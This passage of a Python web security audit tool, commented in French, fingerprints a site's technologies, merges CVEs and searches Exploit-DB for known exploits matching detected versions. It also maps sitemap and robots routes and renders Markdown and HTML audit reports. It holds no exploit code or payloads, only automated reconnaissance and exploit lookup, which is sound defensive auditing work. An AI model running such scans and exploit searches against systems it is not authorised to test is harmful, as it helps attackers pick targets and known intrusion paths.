                conf = conf if _RANK.get(conf, 1) > _RANK.get(cur[1], 1) \
                    else cur[1]
                version = version or cur[0]
            out[name] = (version, conf)

    # headers
    for hname, reg, name, _ in HEADER_TECH_FP:
        val = hl.get(hname.lower(), "")
        if val:
            m = re.search(reg, val, re.I)
            if m:
                _add(name, m.group(1) if m.groups() and m.group(1) else None,
                     "high" if hname == "Server" else "medium")
    # cookies
    for marker, name in COOKIE_TECH_FP:
        if marker in cookies_str:
            _add(name, None, "medium")
    # corps
    for reg, name, vre in BODY_TECH_FP:
        m = re.search(reg, blob, re.I)
        if m:
            version = None
            if vre:
                vm = re.search(vre, m.group(0) or "", re.I)
                if not vm:
                    vm = re.search(vre, blob, re.I)
                if vm:
                    version = vm.group(1) or vm.group(2) if vm.groups() else None
            _add(name, version, "medium")

    # meta generator
    for gm in re.finditer(
            r'<meta[^>]+name=["\']generator["\'][^>]*content=["\']([^"\']+)["\']',
            blob, re.I):
        g = gm.group(1).strip()
        vm = re.search(r"([\d.]+)", g)
        _add(g.split(" ")[0], vm.group(1) if vm else None, "high")
    # versions ?v= / ?ver= / ?version= quand le nom de l'asset contient la
    # technologie (ex: jquery.min.js?ver=X) — évite les attributions à tort
    for m in re.finditer(
            r'([A-Za-z0-9_.-]+\.(?:js|css))[^"\']*?[?&](?:v|ver|version)='
            r'([\d][\d.]*[a-z0-9-]*)', blob, re.I):
        asset = (m.group(1) or "").lower()
        ver = m.group(2)
        for tech in list(out):
            key = tech.lower()
            if key in asset and out[tech][1] is None:
                out[tech] = (ver, out[tech][1])
                break

    techs = [{"name": n, "version": v[0], "confidence": v[1]}
             for n, v in out.items()]
    return techs


# ---------------------------------------------------------------------------
# Phase 6d — Pont CVE via webcve (--cve). Sous-processus lecture seule :
# webcve fingerprint + base locale, fusion des CVE triées par sévérité.
# ---------------------------------------------------------------------------
CVE_SEV_MAP = {"CRITICAL": "élevée", "SEVERE": "élevée", "HIGH": "élevée",
               "MEDIUM": "moyenne", "LOW": "faible", "NONE": "faible"}


def fetch_cves(base_url, min_sev="low", timeout=300):
    """Lance `webcve <url> --json --min-sev ...` (même dossier que pentest).

    Retourne (notes, findings). findings : 1 entrée par CVE
    {"type": "CVE-... [SEV] produit", "severity", "evidence"}.
    """
    import subprocess
    notes, out = [], []
    _here = os.path.abspath(globals().get("__file__") or sys.argv[0])
    webcve_py = os.path.join(os.path.dirname(_here), "webcve.py")
    if not os.path.exists(webcve_py):
        return ["pont CVE indisponible : webcve.py introuvable"], []
    cmd = [sys.executable, webcve_py, base_url, "--json", "--deep",
           "--min-sev", min_sev]
    try:
        proc = subprocess.run(cmd, capture_output=True, text=True,
                              timeout=timeout)
    except subprocess.TimeoutExpired:
        return ["pont CVE : timeout webcve (>%ds)" % timeout], []
    except Exception as e:
        return [f"pont CVE : échec lancement webcve ({e})"], []
    try:
        data = json.loads(proc.stdout or "{}")
    except Exception:
        return ["pont CVE : sortie webcve illisible"], []
    targets = data.get("targets") or []
    if not targets:
        return ["pont CVE : aucune cible analysée"], []
    order = {"CRITICAL": 0, "SEVERE": 0, "HIGH": 1, "MEDIUM": 2,
             "LOW": 3, "NONE": 4}
    for t in targets:
        results = sorted(t.get("results", []),
                         key=lambda r: (order.get((r.get("severity") or "NONE").upper(), 5),
                                        -(r.get("score") or 0)))
        techs = ", ".join(f"{x.get('name', '?')} "
                          f"v{x.get('versions', ['?'])[0] if x.get('versions') else '?'}"
                          for x in (t.get("technologies") or [])[:8])
        if techs:
            notes.append(f"CVE : technos webcve pour {t.get('url', '?')} : {techs}")
        for r in results:
            sev = (r.get("severity") or "NONE").upper()
            desc = (r.get("description") or "")[:220]
            fix = r.get("fix")
            ev = f"{r.get('product', '?')} v{r.get('detectedVersion') or '?'} " \
                 f"· CVSS {r.get('score', '?')} · {r.get('url', '')}\n{desc}"
            if fix:
                ev += f"\nCorrectif : ≥ {fix}"
            out.append({"type": f"{r.get('cveId', '?')} [{sev}] "
                                f"{r.get('product', '')}",
                        "severity": CVE_SEV_MAP.get(sev, "faible"),
                        "evidence": ev[:600]})
        notes.append(f"CVE : {len(results)} CVE fusionnée(s) depuis webcve "
                     f"({t.get('url', '?')})")
    return notes, out


# ---------------------------------------------------------------------------
# Phase 6e — Recherche d'exploits via Exploit-DB (searchsploit --json)
# ---------------------------------------------------------------------------
def search_exploits(techs, max_results=50, per_product=12):
    """Recherche des exploits connus via searchsploit --json.

    techs : liste de str "NomTech vX.Y.Z" (sortie du fingerprint).
    Retourne (notes, findings). Chaque finding est au format standard
    {"type", "severity", "evidence"} pour fusion directe avec les autres.

    Anti-faux-positifs :
      - un résultat n'est conservé que si le NOM du produit apparaît dans le
        titre comme MOT COMPLET (évite que "PHP 8.2" matche ".php" dans
        "BigACE 1.8.2 - 'upload_form.php' RFI").
      - pour les runtimes génériques (php, apache...), le mot ne suffit pas :
        "PHP-Nuke", "PHP Website", "PHP Unit" ou "Remote PHP Code Injection"
        contiennent aussi "php". On exige alors que le token soit le 1er mot
        du titre et soit suivi d'une version ou d'une plage ("PHP <= 8.3.8").
      - déduplication par EDB-ID (searchsploit renvoie le même exploit dans
        RESULTS_EXPLOIT et RESULTS_EXPLOITDB).
      - cap par produit : chaque techno est sondée, pas seulement la première.
    """
    import shutil
    import subprocess
    notes, out = [], []
    ss = shutil.which("searchsploit")
    if not ss:
        notes.append("searchsploit non installé — installez avec : "
                      "sudo pacman -S exploitdb")
        return notes, out

    # Extraire les technos avec une version exploitable. On mémorise aussi le
    # 1er mot du produit (token de recherche : "Apache httpd" -> "apache",
    # requis dans le titre pour confirmer le résultat).
    # Technos "runtime" : les exploits EDB les concernant sont titrés
    # "<runtime> <version>" ou "<runtime> <= <version>". Beaucoup de produits
    # dérivés (PHP-Nuke, PHP Unit, phpWebSite...) commencent aussi par "php",
    # on exige donc un titre "premier mot + version" pour lever l'ambiguïté.
    RUNTIMES = {"php", "apache", "nginx", "mysql", "mariadb",
                "postgresql", "redis", "node", "python", "ruby"}

    tech_pattern = re.compile(r"^(.+?)\s+v([\d][\d.\w\-]*)$", re.I)
    targets = []
    seen = set()
    for t in techs:
        m = tech_pattern.match(t.strip())
        if not m:
            continue
        product, version = m.group(1).strip(), m.group(2).strip()
        key = f"{product.lower()} {version}"
        if key in seen:
            continue
        seen.add(key)
        first_token = product.split()[0]
        targets.append((product, first_token, version))

    if not targets:
        return notes, out

    total = 0
    seen_edb = set()
    for product, first_token, version in targets:
        if total >= max_results:
            break
        try:
            proc = subprocess.run(
                [ss, "--json", first_token, version],
                capture_output=True, text=True, timeout=30)
        except subprocess.TimeoutExpired:
            notes.append(f"searchsploit timeout sur {product} {version}")
            continue
        except FileNotFoundError:
            notes.append("searchsploit non trouvé dans le PATH")
            break
        except Exception as e:
            notes.append(f"searchsploit erreur ({product} {version}): {e}")
            continue

        try:
            data = json.loads(proc.stdout or "{}")
        except json.JSONDecodeError:
            continue

        results = data.get("RESULTS_EXPLOIT", []) + \
                  data.get("RESULTS_EXPLOITDB", [])
        if not results:
            continue

        kept = 0
        for hit in results:
            if total >= max_results:
                break
            title = hit.get("Title", "Exploit inconnu")
            edb_id = hit.get("EDB-ID", "?")
            tl = title.lower()

            # Filtre principal anti-faux-positif : le nom du produit doit
            # apparaître dans le titre comme MOT COMPLET, pas comme extension
            # de fichier. Ex : la recherche "PHP 8.2" ne doit PAS rendre
            # "BigACE 1.8.2 - 'upload_form.php' RFI" (le ".php" d'un nom de
            # fichier matcherait un simple 'in'). Un token non précédé de
            # '.' ou '/' est requis.
            tok = first_token.lower()
            if tok in RUNTIMES:
                # Runtimes : "PHP Unit", "PHP-Nuke" ou "Remote PHP Code
                # Injection" contiennent aussi "php". On exige un titre du
                # type "PHP <= 8.3.8 - ..." (premier mot + version/plage).
                tok_re = re.compile(
                    r"(?:^|[\s'\"\[\(/])" + re.escape(tok) +
                    r"\s*(?:<=\s*[0-9]|<\s*[0-9]|[0-9]|-\s+[a-z0-9(])")
            else:
                tok_re = re.compile(
                    r"(?<![\w./])" + re.escape(tok) + r"(?![\w.-])")
            if not tok_re.search(tl):
                continue
            if edb_id in seen_edb:
                continue
            seen_edb.add(edb_id)

            path = hit.get("Path", "")
            platform = hit.get("Platform", "?")
            date = hit.get("Date", "")
            port = hit.get("Port", "")
            author = (hit.get("Author") or [None])[0] if isinstance(
                hit.get("Author"), list) else hit.get("Author", "")

            # On ignore uniquement les exploits locaux/kernel non pertinents
            if any(skip in tl for skip in (
                    "kernel", "local privilege",
                    "android ", "ios ", "macos ")):
                continue

            ev_parts = [f"EDB-ID: {edb_id}", f"Plateforme: {platform}"]
            if path:
                ev_parts.append(f"Chemin: {path}")
            if port:
                ev_parts.append(f"Port: {port}")
            if date:
                ev_parts.append(f"Date: {date}")
            if author:
                ev_parts.append(f"Auteur: {author[:60]}")
            ev_parts.append(f"Produit: {product} {version}")

            # Sévérité heuristique : RCE/remote directe = élevée,
            # XSS/CSRF/info = moyenne
            if any(k in tl for k in (
                    "remote code execution", "rce", "unauthenticated",
                    "sql injection", "authentication bypass",
                    "arbitrary file upload", "remote file inclusion",
                    "command injection", "privilege escalation")):
                sev = "élevée"
            else:
                sev = "moyenne"

            out.append({
                "type": f"Exploit : {title} (EDB-{edb_id})",
                "severity": sev,
                "evidence": " | ".join(ev_parts)[:500],
                "source": "exploitdb",
            })
            total += 1
            kept += 1
            if kept >= per_product:
                break

    scanned_names = ", ".join(f"{p} v{v}" for p, _, v in targets)
    if total:
        notes.append(f"Exploit-DB : {total} exploit(s) trouvé(s) "
                      f"via searchsploit "
                      f"({len(targets)} techno(s) : {scanned_names})")
    else:
        notes.append(f"Exploit-DB : aucun exploit trouvé "
                      f"({len(targets)} techno(s) scannée(s))")

    return notes, out


# ---------------------------------------------------------------------------
# Phase 3 — Sitemap / robots
# ---------------------------------------------------------------------------
def map_routes(sess, base_url, body_text):
    """Extrait les URLs depuis sitemap.xml, robots.txt et le HTML de la page."""
    urls = []
    # sitemap.xml
    st, hd, body = sess.get(base_url.rstrip("/") + "/sitemap.xml", timeout=25)
    if st == 200:
        text = body.decode("utf-8", "ignore")
        urls += re.findall(r"<loc>(.*?)</loc>", text)
    # robots.txt
    st, hd, body = sess.get(base_url.rstrip("/") + "/robots.txt", timeout=25)
    if st == 200:
        text = body.decode("utf-8", "ignore")
        for ln in text.splitlines():
            if ln.lower().startswith("sitemap:"):
                v = ln.split(":", 1)[1].strip()
                urls.append(v)
    # URLs depuis le HTML (href, src, action) — gère aussi JSF/Primefaces
    JSF_STATIC = ("javax.faces.resource", "/resources/", "/javax.faces.resource/")
    for m in re.finditer(
            r'(?:href|src|action)\s*=\s*["\']([^"\']+)["\']', body_text):
        u = m.group(1)
        if any(s in u for s in JSF_STATIC):
            continue
        if u.startswith("http"):
            urls.append(u.split(";")[0])
        elif u.startswith("/"):
            urls.append(urllib.parse.urljoin(base_url, u.split(";")[0]))
    seen = set()
    out = []
    # Liens des pages de challenge WAF (ex: vercel.link/security-checkpoint)
    # : ce ne sont pas des routes du site.
    WAF_LINKS = ("vercel.link", "challenges.cloudflare.com", "challenge-platform")
    for u in urls:
        u = u.strip()
        if u and u not in seen and not u.startswith("mailto:") \
                and not any(w in u for w in WAF_LINKS):
            seen.add(u)
            out.append(u)
    return out


# ---------------------------------------------------------------------------
# Phase 4 — test statut d'un ensemble d'URLs
# ---------------------------------------------------------------------------
def probe_urls(sess, urls, slow_delay=2.0):
    """Renvoie liste de {url, status, live} en espaçant les requêtes."""
    EXT_STATIC = (".ico", ".css", ".js", ".png", ".jpg", ".jpeg", ".gif",
                  ".svg", ".woff", ".woff2", ".ttf", ".eot", ".webp", ".avif",
                  ".bmp", ".ico", ".xml", ".json", ".rss", ".atom", ".txt")
    res = []
    for u in urls:
        if u.lower().endswith(EXT_STATIC):
            continue
        st, hd, body = sess.get(u, timeout=25)
        text = body.decode("utf-8", "ignore")
        # Une page de challenge WAF n'est jamais une route "vivante".
        challenged = is_waf_challenge(st, hd, body)
        live = (st == 200 and not challenged
                and "404 — Page Non Trouvée" not in text
                and "403 — Interdit" not in text and "error code: 1101" not in text)
        res.append({"url": u, "status": st, "live": bool(live), "size": len(body)})
        time.sleep(slow_delay)
    return res


# ---------------------------------------------------------------------------
# Rapport
# ---------------------------------------------------------------------------
# _sev_order, CONFIRMED_MARKERS, INDICE_MARKERS, qualify_findings,
# build_report, _RECO_MAP et recommendations sont importés de pentestlib
# (module asserté par tests/tests_pentestlib.py).


def render_report_md(target, base_url, findings, techs, subdomains, routes,
                       headers_missing, backend_notes, cookie_problems=None,
                       tls_info=None, waf_blocked=False, headers_weak=None):
    now = datetime.datetime.now().strftime("%d/%m/%Y %H:%M")
    lines = []
    lines.append(f"# Rapport d'audit — {target}")
    lines.append("")
    lines.append(f"**Date :** {now}")
    lines.append(f"**Cible :** {base_url}")
    lines.append(f"__Généré par :__ pentest v{__version__} (audit boîte noire automatique)")
    lines.append("")
    if waf_blocked:
        lines.append("> ⚠ **Baseline = challenge WAF** (Cloudflare/Vercel) : "
                     "les sections routes/headers reflètent la page de challenge, "
                     "pas le site réel. Relancez avec `--browser` ou `--cookies`.")
        lines.append("")
    lines.append("## 1. Technologies détectées")
    if techs:
        for t in techs:
            lines.append(f"- {t}")
    else:
        lines.append("- (aucune détectée)")
    lines.append("")

    # regrouper par sévérité
    order = ["élevée", "moyenne", "faible"]
    sev_titles = {"élevée": "Criticité ÉLEVÉE", "moyenne": "Criticité MOYENNE",
                  "faible": "Criticité FAIBLE"}
    for sev in order:
        items = [f for f in findings if f.get("severity") == sev]
        if not items:
            continue
        lines.append(f"## {sev_titles[sev]}")
        lines.append("")
        for f in items:
            conf = f.get("confidence")
            lines.append(f"### {f['type']}"
                         + (f" — [{conf}]" if conf else ""))
            lines.append("")
            if f.get("evidence"):
                lines.append("```")
                lines.append(f["evidence"][:300])
                lines.append("```")
            lines.append("")
    if not findings:
        lines.append("## Constat")
        lines.append("")
        lines.append("Aucune faiblesse exploitée trouvée lors de l'audit.")
        lines.append("")

    # Sous-domaines
    lines.append("## Sous-domaines découverts")
    if subdomains:
        for s in subdomains:
            lines.append(f"- {s}")
    else:
        lines.append("- (aucun / non testable)")
    lines.append("")

    # Routes
    if routes:
        lines.append("## Routes de la sitemap")
        live = [r["url"] for r in routes if r["live"]]
        dead = [r["url"] for r in routes if not r["live"]]
        lines.append("")
        lines.append(f"**Vivantes ({len(live)}) :**")
        for u in live[:40]:
            lines.append(f"- {u}")
        lines.append(f"\n**Mortes/indisponibles ({len(dead)}) :**")
        for u in dead[:40]:
            lines.append(f"- {u}")
        lines.append("")
    else:
        lines.append("")
        lines.append("(pas de sitemap/robots découvert)")
        lines.append("")

    if headers_missing:
        lines.append("## En-têtes de sécurité manquants")
        lines.append("")
        for h in headers_missing:
            lines.append(f"- {h['header']}")
        lines.append("")

    if headers_weak:
        lines.append("## En-têtes faibles (valeur à durcir)")
        lines.append("")
        for w in headers_weak:
            lines.append(f"- **{w['name']}** [{w['severity']}] : "
                         f"{'; '.join(w['issues'])}")
            lines.append(f"  `= {w['value'][:120]}`")
        lines.append("")

    if cookie_problems:
        lines.append("## Cookies sans attributs de sécurité")
        lines.append("")
        for cp in cookie_problems:
            issues_str = ", ".join(cp["issues"])
            lines.append(f"- `{cp['cookie']}` : {issues_str}")
        lines.append("")

    if tls_info:
        lines.append("## TLS / certificat")
        lines.append("")
        if tls_info.get("error"):
            lines.append(f"- Analyse impossible : {tls_info['error']}")
        else:
            subj = tls_info.get("subject", {}).get("commonName", "?") \
                if isinstance(tls_info.get("subject"), dict) else "?"
            lines.append(f"- Version négociée : {tls_info.get('version', '?')}")
            lines.append(f"- Cipher : {tls_info.get('cipher', '?')}")
            lines.append(f"- Sujet : {subj}")
            lines.append(f"- Expiration : {tls_info.get('not_after', '?')}")
            sans = tls_info.get("san") or []
            if sans:
                lines.append(f"- SANs : {', '.join(sans[:8])}")
        lines.append("")

    # Exploits Exploit-DB
    exploit_findings = [f for f in findings if f.get("source") == "exploitdb"]
    if exploit_findings:
        lines.append("## Exploits connus (Exploit-DB)")
        lines.append("")
        for f in exploit_findings:
            sev = f.get("severity", "moyenne")
            ev = f.get("evidence", "")
            lines.append(f"- **[{sev}] {f['type']}**")
            for p in ev.split(" | "):
                if p.startswith("Chemin:") or p.startswith("Port:"):
                    lines.append(f"  {p}")
            lines.append("")

    if backend_notes:
        lines.append("## Notes sur les backends")
        lines.append("")
        for n in backend_notes:
            lines.append(f"- {n}")
        lines.append("")

    lines.append("---")
    lines.append("*Rapport généré automatiquement. À utiliser uniquement sur "
                 "des systèmes autorisés.*")
    return "\n".join(lines)


_REPORT_CSS = """
* { box-sizing: border-box; margin: 0; padding: 0; }
html { -webkit-text-size-adjust: 100%; }
body { background: #1b1d22; color: #e6e8ee;
       font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto,
                    Helvetica, Arial, sans-serif;
       line-height: 1.55; padding: 22px 14px 64px; }
.wrap { max-width: 1000px; margin: 0 auto; }
header { background: linear-gradient(135deg, #23262e 0%, #2b313d 100%);
         border: 1px solid #363c49; border-top: 3px solid #7fb7ff;
         border-radius: 12px; padding: 26px 28px 20px; margin-bottom: 24px;
         box-shadow: 0 8px 28px rgba(0,0,0,.4); }
.brand { font-size: 12px; letter-spacing: 3px; text-transform: uppercase;
         color: #8b95a5; margin-bottom: 10px; }
.brand .brand-accent { color: #7fb7ff; font-weight: 700; letter-spacing: 2px; }
h1 { font-size: 25px; font-weight: 700; color: #fff; margin-bottom: 4px; }
.sub { color: #aab2c0; font-size: 14px; word-break: break-all; }
.meta { display: flex; flex-wrap: wrap; gap: 6px 26px; margin-top: 14px;
        font-size: 13px; color: #aab2c0; }
.meta .k { color: #7fb7ff; }
section { background: #20232a; border: 1px solid #333845; border-radius: 10px;
          padding: 20px 22px; margin: 18px 0; }
h2 { font-size: 16px; color: #fff; margin-bottom: 14px; padding-bottom: 8px;
     border-bottom: 1px solid #2d323d; }
h2 .n { display: inline-block; color: #7fb7ff; margin-right: 8px;
        font-variant-numeric: tabular-nums; }
h3 { font-size: 14px; color: #d7dbe3; margin: 14px 0 8px; }
.tag { display: inline-block; padding: 2px 10px; margin: 2px 4px 2px 0;
       border-radius: 20px; font-size: 12px; font-weight: 600;
       white-space: nowrap; }
.tech { background: #2d3250; color: #c8d3ff; border: 1px solid #3d4470; }
.sev-critique { background: #8a1020; color: #fff; }
.sev-elevee { background: #dc3545; color: #fff; }
.sev-moyenne { background: #fd7e14; color: #1b1105; }
.sev-faible { background: #0d6efd; color: #fff; }
.sev-info, .sev-other { background: #495057; color: #fff; }
.conf-confirme { background: #198754; color: #fff; }
.conf-indice { background: #ffc107; color: #211a02; }
.conf-info, .conf-other { background: #495057; color: #fff; }
table { width: 100%; border-collapse: collapse; font-size: 13.5px; }
th { text-align: left; color: #9aa3b2; font-weight: 600; text-transform: uppercase;
     letter-spacing: .5px; font-size: 11.5px; padding: 9px 12px;
     border-bottom: 2px solid #343a46; }
td { padding: 10px 12px; border-bottom: 1px solid #2a2f39; vertical-align: top; }
tr:last-child td { border-bottom: none; }
td.type { color: #eef1f6; }
td .muted, .muted { color: #6b7280; }
pre { background: #16181d; border: 1px solid #2a2f39; border-radius: 6px;
      padding: 9px 12px; overflow-x: auto;
      font-family: "SF Mono", Consolas, Menlo, monospace; font-size: 12px;
      color: #c9d1d9; white-space: pre-wrap; word-break: break-word; }
code { background: #262b34; padding: 1px 6px; border-radius: 4px;
       font-size: 12px; color: #ffd479; font-family: "SF Mono", Consolas, monospace; }
ul.res { list-style: none; }
ul.res li { padding: 4px 0 4px 18px; position: relative; font-size: 13.5px;
            word-break: break-all; }
ul.res li::before { content: "▸"; position: absolute; left: 0; color: #7fb7ff; }
.route-live { color: #7ee787; }
.route-dead { color: #ff7b72; }
.note { background: #1d2430; border-left: 3px solid #7fb7ff;
        padding: 8px 12px; border-radius: 0 6px 6px 0; margin: 6px 0;
        font-size: 13px; word-break: break-word; }
.note-warn { background: #3a2a1e; border-left-color: #fd7e14; color: #ffd9a8; }
.summary { display: flex; flex-wrap: wrap; gap: 8px; margin-top: 16px; }
.summary .cell { background: #262a33; border: 1px solid #363c49; border-radius: 8px;
                 padding: 8px 14px; text-align: center; min-width: 86px; }
.summary .cell b { display: block; font-size: 20px; color: #fff; }
.summary .cell span { font-size: 11px; color: #8b95a5; text-transform: uppercase;
                      letter-spacing: .5px; }
.empty { color: #6b7280; font-style: italic; padding: 14px; }
footer { text-align: center; color: #6b7280; font-size: 12px; margin-top: 34px; }
a { color: #7fb7ff; }
@media (max-width: 640px) {
  body { padding: 8px; }
  h1 { font-size: 19px; }
  header { padding: 18px; }
  section { padding: 14px; }
  .meta { flex-direction: column; gap: 4px; }
  table { font-size: 12.5px; }
  th, td { padding: 7px 8px; }
}
"""


def _esc(s):
    return html.escape(str(s), quote=True)


def render_report_html(target, base_url, findings, techs, subdomains, routes,
                       headers_missing, backend_notes, cookie_problems=None,
                       tls_info=None, waf_blocked=False, headers_weak=None):
    """Rapport autonome en HTML (CSS embarqué), thème sombre «дождь».

    Même signature que render_report_md : sections technologies, constats
    groupés par criticité, sous-domaines, routes, en-têtes, cookies, TLS,
    exploits et notes. Aucune ressource externe.
    """
    now = datetime.datetime.now().strftime("%d/%m/%Y %H:%M")
    cookie_problems = cookie_problems or []
    headers_weak = headers_weak or []

    SEV_COLS = {
        "critique": ("sev-critique", "#8a1020"),
        "élevée": ("sev-elevee", "#dc3545"),
        "moyenne": ("sev-moyenne", "#fd7e14"),
        "faible": ("sev-faible", "#0d6efd"),
    }
    SEV_ORDER = ("critique", "élevée", "moyenne", "faible")
    SEV_TITLES = {
        "critique": "Criticité CRITIQUE",
        "élevée": "Criticité ÉLEVÉE",
        "moyenne": "Criticité MOYENNE",
        "faible": "Criticité FAIBLE",
    }
    CONF_COLS = {
        "confirmé": ("conf-confirme", "#198754"),
        "indice": ("conf-indice", "#ffc107"),
    }

    def sev_badge(sev):
        cls, col = SEV_COLS.get(sev, ("sev-other", "#495057"))
        return (f'<span class="tag {cls}" style="background:{col}">'
                f'{_esc(sev or "?")}</span>')

    def conf_badge(conf):
        cls, col = CONF_COLS.get(conf, ("conf-other", "#495057"))
        return (f'<span class="tag {cls}" style="background:{col}">'
                f'{_esc(conf or "?")}</span>')

    def section(n, title, inner):
        return (f'<section><h2><span class="n">{n}</span>'
                f'{_esc(title)}</h2>{inner}</section>')

    def findings_table(items):
        if not items:
            return ('<table><tbody><tr><td class="empty">Aucun constat</td>'
                    '</tr></tbody></table>')
        rows = []
        for f in items:
            ev = f.get("evidence")
            ev_html = (f"<pre>{_esc(ev)}</pre>"
                       if ev else '<span class="muted">—</span>')
            rows.append(
                "<tr>"
                f"<td>{sev_badge(f.get('severity'))}</td>"
                f"<td class='type'>{_esc(f.get('type', ''))}</td>"
                f"<td>{conf_badge(f.get('confidence'))}</td>"
                f"<td>{ev_html}</td>"
                "</tr>")
        return ('<table><thead><tr><th>Sévérité</th><th>Constat</th>'
                '<th>Confiance</th><th>Preuve</th></tr></thead><tbody>'
                + "".join(rows) + "</tbody></table>")

    def pill_list(items, cls=None, fmt=None):
        if not items:
            return '<p class="empty">—</p>'
        lis = []
        for it in items:
            val = fmt(it) if fmt else _esc(it)
            lis.append(f'<li class="{cls + " " if cls else ""}">{val}</li>')
        return "<ul class='res'>" + "".join(lis) + "</ul>"

    L = []
    L.append("<!DOCTYPE html>")
    L.append('<html lang="fr">')
    L.append("<head>")
    L.append('<meta charset="utf-8">')
    L.append('<meta name="viewport" content="width=device-width, initial-scale=1">')
    L.append(f"<title>Rapport d'audit — {_esc(target)}</title>")
    L.append("<style>")
    L.append(_REPORT_CSS)
    L.append("</style>")
    L.append("</head>")
    L.append("<body>")
    L.append('<div class="wrap">')
    L.append("<header>")
    L.append('<div class="brand">pentest &nbsp;·&nbsp; '
             '<span class="brand-accent">дождь</span> &nbsp;·&nbsp; '
             'audit de sécurité boîte noire</div>')
    L.append("<h1>Rapport d'audit de sécurité</h1>")
    L.append(f'<div class="sub">Cible : <b>{_esc(base_url)}</b></div>')
    L.append('<div class="meta">'
             f'<span><span class="k">Date</span> {_esc(now)}</span>'
             f'<span><span class="k">Version</span> pentest v{_esc(__version__)}</span>'
             f'<span><span class="k">Hôte</span> {_esc(target)}</span>'
             "</div>")
    if waf_blocked:
        L.append('<div class="note note-warn"><b>⚠ Baseline = challenge WAF '
                 '(Cloudflare/Vercel)</b> : les sections routes/en-têtes reflètent '
                 'la page de challenge, pas le site réel. Relancez avec '
                 '<code>--browser</code> ou <code>--cookies</code>.</div>')
    counts = {"critique": 0, "élevée": 0, "moyenne": 0, "faible": 0}
    conf_true = sum(1 for f in findings if f.get("confidence") == "confirmé")
    conf_idx = sum(1 for f in findings if f.get("confidence") == "indice")
    for f in findings:
        counts.setdefault(f.get("severity", "faible"), 0)
        counts[f.get("severity", "faible")] += 1
    L.append('<div class="summary">')
    L.append(f'<div class="cell"><b>{len(findings)}</b>'
             "<span>constats</span></div>")
    for sev in SEV_ORDER[:3]:
        cls, col = SEV_COLS.get(sev, ("sev-other", "#495057"))
        L.append(f'<div class="cell"><b style="color:{col}">{counts.get(sev, 0)}'
                 f"</b><span>{_esc(sev)}</span></div>")
    L.append(f'<div class="cell"><b style="color:#198754">{conf_true}</b>'
             "<span>confirmés</span></div>")
    L.append(f'<div class="cell"><b style="color:#ffc107">{conf_idx}</b>'
             "<span>indices</span></div>")
    L.append("</div>")
    L.append("</header>")

    # 1. Technologies
    if techs:
        inner = '<div class="tags">' + "".join(
            f'<span class="tag tech">{_esc(t)}</span>' for t in techs) + "</div>"
    else:
        inner = '<p class="empty">(aucune technologie détectée)</p>'
    L.append(section("1", "Technologies détectées", inner))

    # 2. Constats groupés par criticité
    L.append('<section><h2><span class="n">2</span>Constat</h2>')
    if not findings:
        L.append('<p class="empty">Aucune faiblesse exploitée trouvée '
                 "lors de l'audit.</p>")
    else:
        for sev in SEV_ORDER:
            items = [f for f in findings if f.get("severity") == sev]
            if not items:
                continue
            L.append(f'<h3>{_esc(SEV_TITLES[sev])} '
                     f'<span class="muted">({len(items)})</span></h3>')
            L.append(findings_table(items))
    L.append("</section>")

    # 3. Sous-domaines
    inner = pill_list(subdomains) if subdomains else \
        '<p class="empty">(aucun / non testable)</p>'
    L.append(section("3", "Sous-domaines découverts", inner))

    # 4. Routes
    if routes:
        live = [r for r in routes if r.get("live")]
        dead = [r for r in routes if not r.get("live")]

        def _fmt_route(r):
            label = _esc(r.get("url", "?"))
            status = r.get("status", "?")
            return (f'<span class="tag sev-faible">{_esc(status)}</span> '
                    f"{label}")
        inner = (f'<h3>Vivantes ({len(live)})</h3>'
                 + pill_list(live, cls="route-live", fmt=_fmt_route)
                 + f'<h3>Mortes / indisponibles ({len(dead)})</h3>'
                 + pill_list(dead, cls="route-dead", fmt=_fmt_route))
        L.append(section("4", "Routes de la sitemap", inner))
    else:
        L.append(section("4", "Routes de la sitemap",
                         '<p class="empty">(pas de sitemap/robots découvert)</p>'))

    # 5. En-têtes
    head_parts = []
    if headers_missing:
        head_parts.append("<h3>En-têtes de sécurité manquants</h3>" + "".join(
            f'<div class="note"><code>{_esc(h["header"])}</code></div>'
            for h in headers_missing))
    if headers_weak:
        rows = []
        for w in headers_weak:
            rows.append(
                "<tr>"
                f"<td><code>{_esc(w.get('name', ''))}</code></td>"
                f"<td>{sev_badge(w.get('severity'))}</td>"
                f"<td>{_esc('; '.join(w.get('issues', [])))}</td>"
                f"<td><code>{_esc((w.get('value') or '')[:160])}</code></td>"
                "</tr>")
        head_parts.append(
            "<h3>En-têtes faibles (valeur à durcir)</h3>"
            "<table><thead><tr><th>En-tête</th><th>Sévérité</th>"
            "<th>Problèmes</th><th>Valeur</th></tr></thead><tbody>"
            + "".join(rows) + "</tbody></table>")
    L.append(section("5", "En-têtes de sécurité",
                     "".join(head_parts) or '<p class="empty">—</p>'))

    # 6. Cookies
    if cookie_problems:
        rows = []
        for cp in cookie_problems:
            rows.append(
                "<tr>"
                f"<td><code>{_esc(cp.get('cookie', ''))}</code></td>"
                f"<td>{_esc(', '.join(cp.get('issues', [])))}</td>"
                "</tr>")
        inner = ("<table><thead><tr><th>Cookie</th><th>Attributs manquants</th>"
                 "</tr></thead><tbody>" + "".join(rows) + "</tbody></table>")
    else:
        inner = '<p class="empty">—</p>'
    L.append(section("6", "Cookies sans attributs de sécurité", inner))

    # 7. TLS / certificat
    if tls_info:
        if tls_info.get("error"):
            tls_rows = [f'<li>TLS analyse impossible : {_esc(tls_info["error"])}</li>']
        else:
            subj = tls_info.get("subject", {})
            cn = subj.get("commonName", "?") if isinstance(subj, dict) else "?"
            sans = tls_info.get("san") or []
            tls_rows = [
                f'<li>Version négociée : <code>{_esc(tls_info.get("version", "?"))}</code></li>',
                f'<li>Cipher : <code>{_esc(tls_info.get("cipher", "?"))}</code></li>',
                f"<li>Sujet : {_esc(cn)}</li>",
                f'<li>Expiration : <code>{_esc(tls_info.get("not_after", "?"))}</code></li>',
            ]
            if sans:
                tls_rows.append("<li>SANs : " + ", ".join(
                    f"<code>{_esc(s)}</code>" for s in sans[:8]) + "</li>")
        inner = "<ul class='res'>" + "".join(tls_rows) + "</ul>"
    else:
        inner = '<p class="empty">(non audité — option --no-ssl)</p>'
    L.append(section("7", "TLS / certificat", inner))

    # 8. Exploits (Exploit-DB)
    exploit_findings = [f for f in findings if f.get("source") == "exploitdb"]
    if exploit_findings:
        notes_html = []
        for f in exploit_findings:
            head = (sev_badge(f.get("severity")) + " "
                    + _esc(f.get("type", "")))
            notes_html.append(f'<div class="note">{head}'
                              f'<pre>{_esc(f.get("evidence", ""))}</pre></div>')
